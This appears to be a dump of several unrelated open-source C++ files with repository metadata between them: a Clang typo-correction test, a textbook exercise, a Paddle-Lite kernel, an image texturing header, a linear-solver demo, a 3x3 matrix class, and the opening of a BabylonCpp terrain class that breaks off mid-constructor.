Sema::ActOnIdExpression => Sema::DiagnoseEmptyLookup call path. class SomeNetMessage; class Message {}; void foo(Message&); void foo(SomeNetMessage&); void doit(void *data) { Message somenetmsg; // expected-note{{'somenetmsg' declared here}} foo(somenetmessage); // expected-error{{use of undeclared identifier 'somenetmessage'; did you mean 'somenetmsg'?}} foo((somenetmessage)data); // expected-error{{use of undeclared identifier 'somenetmessage'; did you mean 'SomeNetMessage'?}} } // Test the typo-correction callback in BuildRecoveryCallExpr. // Solves the main issue in PR 9320 of suggesting corrections that take the // wrong number of arguments. void revoke(const char*); // expected-note 2{{'revoke' declared here}} void Test() { Invoke(); // expected-error{{use of undeclared identifier 'Invoke'}} Invoke("foo"); // expected-error{{use of undeclared identifier 'Invoke'; did you mean 'revoke'?}} Invoke("foo", "bar"); // expected-error{{use of undeclared identifier 'Invoke'}} } void Test2(void (*invoke)(const char *, int)) { // expected-note{{'invoke' declared here}} Invoke(); // expected-error{{use of undeclared identifier 'Invoke'}} Invoke("foo"); // expected-error{{use of undeclared identifier 'Invoke'; did you mean 'revoke'?}} Invoke("foo", 7); // expected-error{{use of undeclared identifier 'Invoke'; did you mean 'invoke'?}} Invoke("foo", 7, 22); // expected-error{{use of undeclared identifier 'Invoke'}} } void provoke(const char *x, bool y=false) {} // expected-note 2{{'provoke' declared here}} void Test3() { Provoke(); // expected-error{{use of undeclared identifier 'Provoke'}} Provoke("foo"); // expected-error{{use of undeclared identifier 'Provoke'; did you mean 'provoke'?}} Provoke("foo", true); // expected-error{{use of undeclared identifier 'Provoke'; did you mean 'provoke'?}} Provoke("foo", 7, 22); // expected-error{{use of undeclared identifier 'Provoke'}} } // PR 11737 - Don't try to typo-correct the implicit 'begin' and 'end' in a // C++11 for-range statement. struct R {}; bool begun(R); void RangeTest() { for (auto b : R()) {} // expected-error {{use of undeclared identifier 'begin'}} expected-note {{range has type}} } // PR 12019 - Avoid infinite mutual recursion in DiagnoseInvalidRedeclaration // by not trying to typo-correct a method redeclaration to declarations not // in the current record. class Parent { void set_types(int index, int value); void add_types(int value); }; class Child: public Parent {}; void Child::add_types(int value) {} // expected-error{{out-of-line definition of 'add_types' does not match any declaration in 'Child'}} // Fix the callback based filtering of typo corrections within // Sema::ActOnIdExpression by Parser::ParseCastExpression to allow type names as // potential corrections for template arguments. namespace clash { class ConstructExpr {}; // expected-note{{'clash::ConstructExpr' declared here}} } class ClashTool { bool HaveConstructExpr(); template <class T> T* getExprAs(); void test() { ConstructExpr *expr = // expected-error{{unknown type name 'ConstructExpr'; did you mean 'clash::ConstructExpr'?}} getExprAs<ConstructExpr>(); // expected-error{{use of undeclared identifier 'ConstructExpr'; did you mean 'clash::ConstructExpr'?}} } }; namespace test1 { struct S { struct Foobar *f; // expected-note{{'Foobar' declared here}} }; test1::FooBar *b; // expected-error{{no type named 'FooBar' in namespace 'test1'; did you mean 'Foobar'?}} }
45.041451
165
0.726792
clairechingching
b1ea0ac93e6cee3a423b96f1fed8299f0c013860
220
cc
C++
ch03/ex3_08.cc
meishaoming/cpp_primer_5th_answer
482d60e37e8bf69c0ae83e7e98d955f76dfbffe0
[ "MIT" ]
null
null
null
ch03/ex3_08.cc
meishaoming/cpp_primer_5th_answer
482d60e37e8bf69c0ae83e7e98d955f76dfbffe0
[ "MIT" ]
null
null
null
ch03/ex3_08.cc
meishaoming/cpp_primer_5th_answer
482d60e37e8bf69c0ae83e7e98d955f76dfbffe0
[ "MIT" ]
null
null
null
#include <iostream> #include <string> int main() { std::string str; std::cin >> str; for (std::string::size_type n = 0;n < str.size(); ++n) { str[n] = 'X'; } std::cout << str << std::endl; return 0; }
14.666667
58
0.531818
meishaoming
b1ecbe3935e3c377f10c93df50bbd520e1903e7e
2,854
cc
C++
lite/kernels/xpu/yolo_box_compute.cc
Danielmic/Paddle-Lite
8bf08425035cfae077754ac72629292fac7bb996
[ "Apache-2.0" ]
808
2018-04-17T17:43:12.000Z
2019-08-18T07:39:13.000Z
lite/kernels/xpu/yolo_box_compute.cc
Danielmic/Paddle-Lite
8bf08425035cfae077754ac72629292fac7bb996
[ "Apache-2.0" ]
728
2018-04-18T08:15:25.000Z
2019-08-16T07:14:43.000Z
lite/kernels/xpu/yolo_box_compute.cc
Danielmic/Paddle-Lite
8bf08425035cfae077754ac72629292fac7bb996
[ "Apache-2.0" ]
364
2018-04-18T17:05:02.000Z
2019-08-18T03:25:38.000Z
// Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "lite/kernels/xpu/yolo_box_compute.h" #include <vector> #include "lite/backends/xpu/xpu_header_sitter.h" #include "lite/core/op_registry.h" namespace paddle { namespace lite { namespace kernels { namespace xpu { void YoloBoxCompute::Run() { auto& param = this->Param<param_t>(); auto& ctx = this->ctx_->As<XPUContext>(); auto input_dims = param.X->dims(); std::vector<int> anchors = param.anchors; CHECK_LE(anchors.size(), 6UL); const int n = input_dims[0]; const int h = input_dims[2]; const int w = input_dims[3]; const int box_num = param.Boxes->dims()[1]; const int an_num = anchors.size() / 2; int downsample_ratio = param.downsample_ratio; int class_num = param.class_num; float scale_x_y = param.scale_x_y; float bias = -0.5 * (scale_x_y - 1.); CHECK_EQ(box_num, an_num * h * w); int r = xdnn::yolo_box<float>(ctx.GetRawContext(), param.X->data<float>(), param.ImgSize->data<int>(), param.Boxes->mutable_data<float>(TARGET(kXPU)), param.Scores->mutable_data<float>(TARGET(kXPU)), n, h, w, anchors, an_num, class_num, param.conf_thresh, downsample_ratio, scale_x_y, bias, false); CHECK_EQ(r, 0); } } // namespace xpu } // namespace kernels } // namespace lite } // namespace paddle REGISTER_LITE_KERNEL(yolo_box, kXPU, kFloat, kNCHW, paddle::lite::kernels::xpu::YoloBoxCompute, def) .BindInput("X", {LiteType::GetTensorTy(TARGET(kXPU))}) .BindInput("ImgSize", {LiteType::GetTensorTy(TARGET(kXPU), PRECISION(kInt32))}) .BindOutput("Boxes", {LiteType::GetTensorTy(TARGET(kXPU))}) .BindOutput("Scores", {LiteType::GetTensorTy(TARGET(kXPU))}) .Finalize();
36.589744
80
0.563069
Danielmic
b1f20967450e189ee6b02c5be2ac19b293c8502f
9,721
hpp
C++
externals/browser/externals/browser/externals/libimgproc/imgproc/texturing.hpp
HanochZhu/vts-browser-unity-plugin
32a22d41e21b95fb015326f95e401d87756d0374
[ "BSD-2-Clause" ]
1
2021-09-02T08:42:59.000Z
2021-09-02T08:42:59.000Z
externals/browser/externals/browser/externals/libimgproc/imgproc/texturing.hpp
HanochZhu/vts-browser-unity-plugin
32a22d41e21b95fb015326f95e401d87756d0374
[ "BSD-2-Clause" ]
null
null
null
externals/browser/externals/browser/externals/libimgproc/imgproc/texturing.hpp
HanochZhu/vts-browser-unity-plugin
32a22d41e21b95fb015326f95e401d87756d0374
[ "BSD-2-Clause" ]
null
null
null
/** * Copyright (c) 2017 Melown Technologies SE * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef imgproc_texturing_hpp_included_ #define imgproc_texturing_hpp_included_ #include <vector> #include "math/geometry_core.hpp" namespace imgproc { namespace tx { /** Uv patch. */ struct UvPatch : math::Extents2 { UvPatch() : math::Extents2(math::InvalidExtents{}) {} UvPatch(const math::Extents2 &e) : math::Extents2(e) {} void inflate(double size); void update(const UvPatch &other); void update(double x, double y); template <typename T> void update(const math::Point2_<T> &point); typedef std::vector<UvPatch> list; }; UvPatch inflate(const UvPatch &uvPatch, double size); /** Texture patch. Maps source region to destination region. */ class Patch { public: struct InplaceTag {}; static InplaceTag Inplace; typedef std::vector<Patch*> list; /** Construct default, unusable patch. */ Patch() = default; /** Creates patch for given texturing coordinates bounds. * * \param uvPatch source UV patch */ Patch(const UvPatch &uvPatch); /** Manual patch creation. */ Patch(int x, int y, int width, int height); /** Places patch at given location. */ void place(const math::Point2i &location); /** Maps source texturing coordinates to destination texturing coordinates. */ math::Point2d map(const math::Point2d &uv) const; /** Maps source texturing coordinates to destination texturing coordinates. * * In place version. */ void map(const InplaceTag&, math::Point2d &uv) const; /** Maps source texturing coordinates to destination texturing coordinates. * Modifies arguments in place. */ template <typename T> void map(T &x, T &y) const; math::Point2d imap(const math::Point2d &uv) const; /** Maps destination texturing coordinates to source texturing coordinates. * * In place version. */ void imap(const InplaceTag&, math::Point2d &uv) const; /** Maps destination texturing coordinates to source texturing coordinates. * Modifies arguments in place. */ template <typename T> void imap(T &x, T &y) const; /** Whole pixel rectangle circumscribed around subpixel patch. */ struct Rect { math::Point2i point; math::Size2i size; Rect() = default; Rect(const Rect&) = default; Rect(const UvPatch &uvPatch); /** Manual rectangle creation. */ Rect(int x, int y, int width, int height); typedef std::vector<Rect> list; }; const Rect& src() const { return src_; } const Rect& dst() const { return dst_; } const math::Size2& size() const { return src_.size; } int width() const { return src_.size.width; } int height() const { return src_.size.height; } /** Clips source rectangle to given limits and updates destination one * accordingly. */ Patch& srcClip(const math::Size2 &limits); /** Clips source rectangle to given limits and updates destination one * accordingly. */ Patch& srcClip(int width, int height); /** Returns patch for source rectangle clipped to given limits. */ Patch srcClipped(const math::Size2 &limits) const; /** Returns patch for source rectangle clipped to given limits. */ Patch srcClipped(int width, int height) const; private: /** Source rectangle. */ Rect src_; /** Destination rectangle. */ Rect dst_; /** Mapping between source and destination texturing coordinates. */ math::Point2 shift_; }; /** Packs texture patches. * Returns size of resulting texture. */ math::Size2 pack(Patch::list &patches); /** Packs texture patches. * Returns size of resulting texture. * * Const vector interface. */ math::Size2 pack(const Patch::list &patches); /** Generate container. * Function Patch* asPatch(*iterator) must exist. */ template <typename Iterator> math::Size2 pack(Iterator begin, Iterator end); /** Default implementaion of asPatch for, well, patch itself. */ Patch* asPatch(Patch &patch); // inlines /** * To cover all source pixels for bilinear interpolation we have to have all 4 * pixels aroud extreme patch edges, therefore we have to fix the extens as * follows: * * ll' = floor(ll - half pixel) * ur' = ceil(ur + half pixel) * * +1 is to get count of pixels between ll' (inclusive) and ur' (inclusive). */ inline Patch::Rect::Rect(const UvPatch &uvPatch) : point(int(std::floor(uvPatch.ll(0) - 0.5)) , int(std::floor(uvPatch.ll(1) - 0.5))) , size(int(std::ceil(uvPatch.ur(0) + 0.5) - point(0) + 1) , int(std::ceil(uvPatch.ur(1) + 0.5) - point(1) + 1)) {} inline Patch::Rect::Rect(int x, int y, int width, int height) : point(x, y), size(width, height) {} inline Patch::Patch(const UvPatch &uvPatch) : src_(uvPatch), dst_(src_) {} inline Patch::Patch(int x, int y, int width, int height) : src_(x, y, width, height), dst_(src_) {} inline void Patch::place(const math::Point2i &location) { dst_.point = location; shift_(0) = dst_.point(0) - src_.point(0); shift_(1) = dst_.point(1) - src_.point(1); } inline math::Point2d Patch::map(const math::Point2d &uv) const { return { uv(0) + shift_(0), uv(1) + shift_(1) }; } inline void Patch::map(const InplaceTag&, math::Point2d &uv) const { uv(0) += shift_(0); uv(1) += shift_(1); } template <typename T> void Patch::map(T &x, T &y) const { x += shift_(0); y += shift_(1); } inline math::Point2d Patch::imap(const math::Point2d &uv) const { return { uv(0) - shift_(0), uv(1) - shift_(1) }; } inline void Patch::imap(const InplaceTag&, math::Point2d &uv) const { uv(0) -= shift_(0); uv(1) -= shift_(1); } template <typename T> void Patch::imap(T &x, T &y) const { x -= shift_(0); y -= shift_(1); } inline void UvPatch::inflate(double size) { auto &self(static_cast<math::Extents2&>(*this)); self = self + size; } inline UvPatch inflate(const UvPatch &uvPatch, double size) { return static_cast<const math::Extents2&>(uvPatch) + size; } inline void UvPatch::update(double x, double y) { math::update(*this, double(x), double(y)); } inline void UvPatch::update(const UvPatch &other) { math::update(*this, other.ll); math::update(*this, other.ur); } template <typename T> void UvPatch::update(const math::Point2_<T> &point) { update(point(0), point(1)); } inline math::Size2 pack(const Patch::list &patches) { auto copy(patches); return pack(copy); } template <typename Iterator> math::Size2 pack(Iterator begin, Iterator end) { Patch::list patches; for (; begin != end; ++begin) { patches.push_back(asPatch(*begin)); } return pack(patches); } inline Patch* asPatch(Patch &patch) { return &patch; } inline Patch& Patch::srcClip(int width, int height) { auto &sp(src_.point); auto &ss(src_.size); auto &dp(dst_.point); auto &ds(dst_.size); // clip origin to zero, update destination accordingly if (sp(0) < 0) { ss.width += sp(0); ds.width += sp(0); dp(0) -= sp(0); sp(0) = 0; } if (sp(1) < 0) { ss.height += sp(1); ds.height += sp(1); dp(1) -= sp(1); sp(1) = 0; } // clip length // compute overflow in x and y const auto xo(sp(0) + ss.width - width); const auto yo(sp(1) + ss.height - height); // and apply to width if (xo > 0) { ss.width -= xo; ds.width -= xo; } if (yo > 0) { ss.height -= yo; ds.height -= yo; } return *this; } inline Patch& Patch::srcClip(const math::Size2 &limits) { return srcClip(limits.width, limits.height); } inline Patch Patch::srcClipped(int width, int height) const { return Patch(*this).srcClip(width, height); } inline Patch Patch::srcClipped(const math::Size2 &limits) const { return srcClipped(limits.width, limits.height); } template<typename CharT, typename Traits> inline std::basic_ostream<CharT, Traits>& operator<<(std::basic_ostream<CharT, Traits> &os, const Patch::Rect &r) { std::ios::fmtflags flags(os.flags()); os << r.size << std::showpos << r.point(0) << r.point(1); os.flags(flags); return os; } } } // namespace imgproc::tx #endif // imgproc_texturing_hpp_included_
25.785146
79
0.648596
HanochZhu
b1f4dd2f2988c66920f3bcf660cf030cde2f98ef
217
cpp
C++
3 term/Programming-Design-and-Programming-Languages-C++/Lab 11/ArgumentException.cpp
Vanya112/BSUIR_Labs
d63de54f1d07c5bd0eae598d507be051101f1165
[ "Apache-2.0" ]
24
2019-05-24T18:10:33.000Z
2022-02-09T14:33:34.000Z
3 term/Programming-Design-and-Programming-Languages-C++/Lab 11/ArgumentException.cpp
Vanya112/BSUIR_Labs
d63de54f1d07c5bd0eae598d507be051101f1165
[ "Apache-2.0" ]
null
null
null
3 term/Programming-Design-and-Programming-Languages-C++/Lab 11/ArgumentException.cpp
Vanya112/BSUIR_Labs
d63de54f1d07c5bd0eae598d507be051101f1165
[ "Apache-2.0" ]
16
2019-05-23T18:15:53.000Z
2022-01-17T15:25:58.000Z
#include "ArgumentException.h" ArgumentException::ArgumentException(string message) : invalid_argument(message.c_str()) { } ArgumentException::ArgumentException(const char* message) : invalid_argument(message) { }
19.727273
88
0.797235
Vanya112
5901a00f4c8f434ae1e55975d204d108040cb80b
1,443
cpp
C++
Jacobi_vs_Gauss_Siedel/main.cpp
soumyasen1809/CFD_NPTEL_IITKGP
b747955650b37fbdb9a006f2292deb1b78fae6b9
[ "MIT" ]
2
2021-06-17T21:54:14.000Z
2021-07-06T02:18:10.000Z
Jacobi_vs_Gauss_Siedel/main.cpp
soumyasen1809/CFD_NPTEL_IITKGP
b747955650b37fbdb9a006f2292deb1b78fae6b9
[ "MIT" ]
null
null
null
Jacobi_vs_Gauss_Siedel/main.cpp
soumyasen1809/CFD_NPTEL_IITKGP
b747955650b37fbdb9a006f2292deb1b78fae6b9
[ "MIT" ]
null
null
null
//Equation to solve: 5x1 + x2 = 7 ; x1 + 5x2 = 11 #include <iostream> int main() { double x_1 = 0.01; // Initialize x1 = 0 double x_1_new = 0.0; double x_2 = 0.01; // Initialize x2 = 0 double x_2_new = 0.0; double eps = 1.0; // Tolerance limit epsilon, initialized to 1 int count_steps_jac = 0; // Jacobi iterative method while (eps > 0.01){ x_1_new = (7-x_2)/5.0; x_2_new = (11-x_1)/5.0; eps = x_1_new - x_1; x_1 = x_1_new; x_2 = x_2_new; count_steps_jac++; } std::cout << "X1 for Jacobi method: " << x_1 << std::endl; std::cout << "X2 for Jacobi method: " << x_2 << std::endl; std::cout << "Number of steps taken for Jacobi method: " << count_steps_jac << std::endl; // Gauss Siedel Iterative method eps = 1.0; // Tolerance limit reset int count_steps_gaus = 0; x_1 = 0.01; x_1_new = x_1; // Initialize x_1_new as x_1 x_2 = 0.01; x_2_new = x_2; // Initialize x_2_new as x_2 while (eps > 0.01){ x_1_new = (7-x_2_new)/5.0; x_2_new = (11-x_1_new)/5.0; eps = x_1_new - x_1; x_1 = x_1_new; x_2 = x_2_new; count_steps_gaus++; } std::cout << "X1 for Gauss Siedel method: " << x_1 << std::endl; std::cout << "X2 for Gauss Siedel method: " << x_2 << std::endl; std::cout << "Number of steps taken for Gauss Siedel method: " << count_steps_gaus << std::endl; }
23.655738
100
0.567568
soumyasen1809
5901d82d0a22a5068e980d0f5bb02a5223fcacad
9,176
cpp
C++
3D_Mathematics_Engine/3D_Mathematics_Engine/Matrix.cpp
ConfuzzledBovv/GameEngineDevelopment
ef8b1a370fd09ca3fff3582f766b1d723cdcd7f1
[ "Apache-2.0" ]
null
null
null
3D_Mathematics_Engine/3D_Mathematics_Engine/Matrix.cpp
ConfuzzledBovv/GameEngineDevelopment
ef8b1a370fd09ca3fff3582f766b1d723cdcd7f1
[ "Apache-2.0" ]
null
null
null
3D_Mathematics_Engine/3D_Mathematics_Engine/Matrix.cpp
ConfuzzledBovv/GameEngineDevelopment
ef8b1a370fd09ca3fff3582f766b1d723cdcd7f1
[ "Apache-2.0" ]
null
null
null
#include "Matrix.h" #include "iostream" namespace Maths { Matrix::Matrix() { // If no data is given then set as identity matrix for (int i = 0; i < 9; i++) { matrixData[i] = 0; } matrixData[0] = matrixData[4] = matrixData[8] = 1.0f; } Matrix::Matrix(float matrix0, float matrix3, float matrix6, float matrix1, float matrix4, float matrix7, float matrix2, float matrix5, float matrix8) { matrixData[0] = matrix0; matrixData[3] = matrix3; matrixData[6] = matrix6; matrixData[1] = matrix1; matrixData[4] = matrix4; matrixData[7] = matrix7; matrixData[2] = matrix2; matrixData[5] = matrix5; matrixData[8] = matrix8; } Matrix & Matrix::operator=(const Matrix & matrix) { for (int i = 0; i <= 8; i++) { matrixData[i] = matrix.matrixData[i]; } return *this; } Matrix::~Matrix() { } void Matrix::Show() { std::cout << matrixData[0] << ", " << matrixData[3] << ", " << matrixData[6] << std::endl; std::cout << matrixData[1] << ", " << matrixData[4] << ", " << matrixData[7] << std::endl; std::cout << matrixData[2] << ", " << matrixData[5] << ", " << matrixData[8] << std::endl; } Matrix Matrix::operator+(const Matrix & matrix) { return Matrix(matrixData[0] + matrix.matrixData[0], matrixData[3] + matrix.matrixData[3], matrixData[6] + matrix.matrixData[6], matrixData[1] + matrix.matrixData[1], matrixData[4] + matrix.matrixData[4], matrixData[7] + matrix.matrixData[7], matrixData[2] + matrix.matrixData[2], matrixData[5] + matrix.matrixData[5], matrixData[8] + matrix.matrixData[8]); } void Matrix::operator+=(const Matrix & matrix) { for (int i = 0; i <= 8; i++) { matrixData[i] += matrix.matrixData[i]; } } Matrix Matrix::operator-(const Matrix & matrix) { return Matrix(matrixData[0] - matrix.matrixData[0], matrixData[3] - matrix.matrixData[3], matrixData[6] - matrix.matrixData[6], matrixData[1] - matrix.matrixData[1], matrixData[4] - matrix.matrixData[4], matrixData[7] - matrix.matrixData[7], matrixData[2] - matrix.matrixData[2], matrixData[5] - matrix.matrixData[5], matrixData[8] - matrix.matrixData[8]); } void Matrix::operator-=(const Matrix & matrix) { for (int i = 0; i <= 8; i++) { matrixData[i] -= matrix.matrixData[i]; } } Matrix Matrix::operator*(const float Multiplication) { return Matrix(matrixData[0] * Multiplication, matrixData[3] * Multiplication, matrixData[6] * Multiplication, matrixData[1] * Multiplication, matrixData[4] * Multiplication, matrixData[7] * Multiplication, matrixData[2] * Multiplication, matrixData[5] * Multiplication, matrixData[8] * Multiplication); } void Matrix::operator*=(const float Multiplication) { for (int i = 0; i <= 8; i++) { matrixData[i] *= Multiplication; } } Matrix Matrix::operator/(const float Division) { return Matrix(matrixData[0] / Division, matrixData[3] / Division, matrixData[6] / Division, matrixData[1] / Division, matrixData[4] / Division, matrixData[7] / Division, matrixData[2] / Division, matrixData[5] / Division, matrixData[8] / Division); } void Matrix::operator/=(const float Division) { for (int i = 0; i <= 8; i++) { matrixData[i] /= Division; } } Matrix Matrix::operator*(const Matrix & matrix) { return Matrix(matrixData[0] * matrix.matrixData[0] + matrixData[3] * matrix.matrixData[1] + matrixData[6] * matrix.matrixData[2], matrixData[0] * matrix.matrixData[3] + matrixData[3] * matrix.matrixData[4] + matrixData[6] * matrix.matrixData[5], matrixData[0] * matrix.matrixData[6] + matrixData[3] * matrix.matrixData[7] + matrixData[6] * matrix.matrixData[8], matrixData[1] * matrix.matrixData[0] + matrixData[4] * matrix.matrixData[1] + matrixData[7] * matrix.matrixData[2], matrixData[1] * matrix.matrixData[3] + matrixData[4] * matrix.matrixData[4] + matrixData[7] * matrix.matrixData[5], matrixData[1] * matrix.matrixData[6] + matrixData[4] * matrix.matrixData[7] + matrixData[7] * matrix.matrixData[8], matrixData[2] * matrix.matrixData[0] + matrixData[5] * matrix.matrixData[1] + matrixData[8] * matrix.matrixData[2], matrixData[2] * matrix.matrixData[3] + matrixData[5] * matrix.matrixData[4] + matrixData[8] * matrix.matrixData[5], matrixData[2] * matrix.matrixData[6] + matrixData[5] * matrix.matrixData[7] + matrixData[8] * matrix.matrixData[8]); } void Matrix::operator*=(const Matrix & matrix) { matrixData[0] = matrixData[0] * matrix.matrixData[0] + matrixData[3] * matrix.matrixData[1] + matrixData[6] * matrix.matrixData[2]; matrixData[3] = matrixData[0] * matrix.matrixData[3] + matrixData[3] * matrix.matrixData[4] + matrixData[6] * matrix.matrixData[5]; matrixData[6] = matrixData[0] * matrix.matrixData[6] + matrixData[3] * matrix.matrixData[7] + matrixData[6] * matrix.matrixData[8]; matrixData[1] = matrixData[1] * matrix.matrixData[0] + matrixData[4] * matrix.matrixData[1] + matrixData[7] * matrix.matrixData[2]; matrixData[4] = matrixData[1] * matrix.matrixData[3] + matrixData[4] * matrix.matrixData[4] + matrixData[7] * matrix.matrixData[5]; matrixData[7] = matrixData[1] * matrix.matrixData[6] + matrixData[4] * matrix.matrixData[7] + matrixData[7] * matrix.matrixData[8]; matrixData[2] = matrixData[2] * matrix.matrixData[0] + matrixData[5] * matrix.matrixData[1] + matrixData[8] * matrix.matrixData[2]; matrixData[5] = matrixData[2] * matrix.matrixData[3] + matrixData[5] * matrix.matrixData[4] + matrixData[8] * matrix.matrixData[5]; matrixData[8] = matrixData[2] * matrix.matrixData[6] + matrixData[5] * matrix.matrixData[7] + matrixData[8] * matrix.matrixData[8]; } void Matrix::SetAsIdentityMatrix() { for (int i = 0; i <= 8; i++) { matrixData[i] = 0.0f; } matrixData[0] = matrixData[4] = matrixData[8] = 1.0f; } void Matrix::SetMatrixAsInverseOf(const Matrix & matrix) { float detCalc[6]; detCalc[0] = matrix.matrixData[0] * matrix.matrixData[4]; detCalc[1] = matrix.matrixData[0] * matrix.matrixData[7]; detCalc[2] = matrix.matrixData[3] * matrix.matrixData[1]; detCalc[3] = matrix.matrixData[6] * matrix.matrixData[1]; detCalc[4] = matrix.matrixData[3] * matrix.matrixData[2]; detCalc[5] = matrix.matrixData[6] * matrix.matrixData[2]; float determinant = (detCalc[0] * matrix.matrixData[8] - detCalc[1] * matrix.matrixData[5] - detCalc[2] * matrix.matrixData[8] + detCalc[3] * matrix.matrixData[5] + detCalc[4] * matrix.matrixData[7] - detCalc[5] * matrix.matrixData[4]); if (determinant == 0.0f) { return; } float invd = 1.0f / determinant; float inverseCalc[9]; inverseCalc[0] = (matrix.matrixData[4] * matrix.matrixData[8] - matrix.matrixData[7] * matrix.matrixData[5]) * invd; inverseCalc[3] =-(matrix.matrixData[3] * matrix.matrixData[8] - matrix.matrixData[6] * matrix.matrixData[5]) * invd; inverseCalc[6] = (matrix.matrixData[3] * matrix.matrixData[7] - matrix.matrixData[6] * matrix.matrixData[4]) * invd; inverseCalc[1] =-(matrix.matrixData[1] * matrix.matrixData[8] - matrix.matrixData[7] * matrix.matrixData[2]) * invd; inverseCalc[4] = (matrix.matrixData[0] * matrix.matrixData[8] - detCalc[5]) * invd; inverseCalc[7] =-(detCalc[1] - detCalc[3]) * invd; inverseCalc[2] = (matrix.matrixData[1] * matrix.matrixData[5] - matrix.matrixData[4] * matrix.matrixData[2]) * invd; inverseCalc[5] =-(matrix.matrixData[0] * matrix.matrixData[5] - detCalc[4]) * invd; inverseCalc[8] = (detCalc[0] - detCalc[2]) * invd; matrixData[0] = inverseCalc[0]; matrixData[3] = inverseCalc[3]; matrixData[6] = inverseCalc[6]; matrixData[1] = inverseCalc[1]; matrixData[4] = inverseCalc[4]; matrixData[7] = inverseCalc[7]; matrixData[2] = inverseCalc[2]; matrixData[5] = inverseCalc[5]; matrixData[8] = inverseCalc[8]; } const Matrix Matrix::GetInverseOfMatrix() { Matrix Result; Result.SetMatrixAsInverseOf(*this); return Result; } void Matrix::InvertMatrix() { SetMatrixAsInverseOf(*this); } void Matrix::SetTranspose(const Matrix & matrix) { matrixData[0] = matrix.matrixData[0]; matrixData[3] = matrix.matrixData[1]; matrixData[6] = matrix.matrixData[2]; matrixData[1] = matrix.matrixData[3]; matrixData[4] = matrix.matrixData[4]; matrixData[7] = matrix.matrixData[5]; matrixData[2] = matrix.matrixData[6]; matrixData[5] = matrix.matrixData[7]; matrixData[8] = matrix.matrixData[8]; } const Matrix Matrix::GetTranspose() { Matrix Result; Result.SetTranspose(*this); return Result; } Vector3D Matrix::operator*(const Vector3D & vector) { return Vector3D(matrixData[0] * vector.x + matrixData[3] * vector.y + matrixData[6] * vector.z, matrixData[1] * vector.x + matrixData[4] * vector.y + matrixData[7] * vector.z, matrixData[2] * vector.x + matrixData[5] * vector.y + matrixData[8] * vector.z); } Vector3D Matrix::TransformVectorByMatrix(const Vector3D & vector) { return(*this * vector); } }
39.551724
167
0.654425
ConfuzzledBovv
5902376f3cf4482c4f715faa1d2ddbdbd346a672
32,447
cpp
C++
src/Extensions/src/extensions/dynamicterrain/dynamic_terrain.cpp
sacceus/BabylonCpp
94669cf7cbe3214ec6e905cbf249fa0c9daf6222
[ "Apache-2.0" ]
null
null
null
src/Extensions/src/extensions/dynamicterrain/dynamic_terrain.cpp
sacceus/BabylonCpp
94669cf7cbe3214ec6e905cbf249fa0c9daf6222
[ "Apache-2.0" ]
null
null
null
src/Extensions/src/extensions/dynamicterrain/dynamic_terrain.cpp
sacceus/BabylonCpp
94669cf7cbe3214ec6e905cbf249fa0c9daf6222
[ "Apache-2.0" ]
null
null
null
#include <babylon/extensions/dynamicterrain/dynamic_terrain.h> #include <babylon/babylon_stl_util.h> #include <babylon/cameras/camera.h> #include <babylon/core/logging.h> #include <babylon/engines/scene.h> #include <babylon/extensions/dynamicterrain/dynamic_terrain_options.h> #include <babylon/meshes/builders/mesh_builder_options.h> #include <babylon/meshes/mesh.h> #include <babylon/meshes/mesh_builder.h> #include <babylon/meshes/vertex_buffer.h> #include <babylon/meshes/vertex_data.h> #include <babylon/misc/file_tools.h> namespace BABYLON { namespace Extensions { Vector3 DynamicTerrain::_v1 = Vector3::Zero(); Vector3 DynamicTerrain::_v2 = Vector3::Zero(); Vector3 DynamicTerrain::_v3 = Vector3::Zero(); Vector3 DynamicTerrain::_v4 = Vector3::Zero(); Vector3 DynamicTerrain::_vAvB = Vector3::Zero(); Vector3 DynamicTerrain::_vAvC = Vector3::Zero(); Vector3 DynamicTerrain::_norm = Vector3::Zero(); Vector3 DynamicTerrain::_bbMin = Vector3::Zero(); Vector3 DynamicTerrain::_bbMax = Vector3::Zero(); DynamicTerrain::DynamicTerrain(const std::string& iName, DynamicTerrainOptions& options, Scene* scene) : name{iName} , _subToleranceX{1} , _subToleranceZ{1} , _initialLOD{1} , _LODValue{1} , _cameraLODCorrection{0} , _oldCorrection{0} , _deltaX{0.f} , _deltaZ{0.f} , _signX{0} , _signZ{0} , _deltaSubX{0} , _deltaSubZ{0} , _mapShiftX{0.f} , _mapShiftZ{0.f} , _mapFlgtNb{0} , _needsUpdate{false} , _updateLOD{false} , _updateForced{false} , _refreshEveryFrame{false} , _useCustomVertexFunction{false} , _computeNormals{true} , _datamap{false} , _uvmap{false} , _colormap{false} , _vertex{DynamicTerrainVertex{Vector3::Zero(), // vertex position in the terrain space Vector2::Zero(), // vertex uv Color4(1.0, 1.0, 1.0, 1.0), // vertex color 1, // vertex LOD value on X axis 1, // vertex LOD value on Z axis Vector3::Zero(), // vertex World position 0}} , 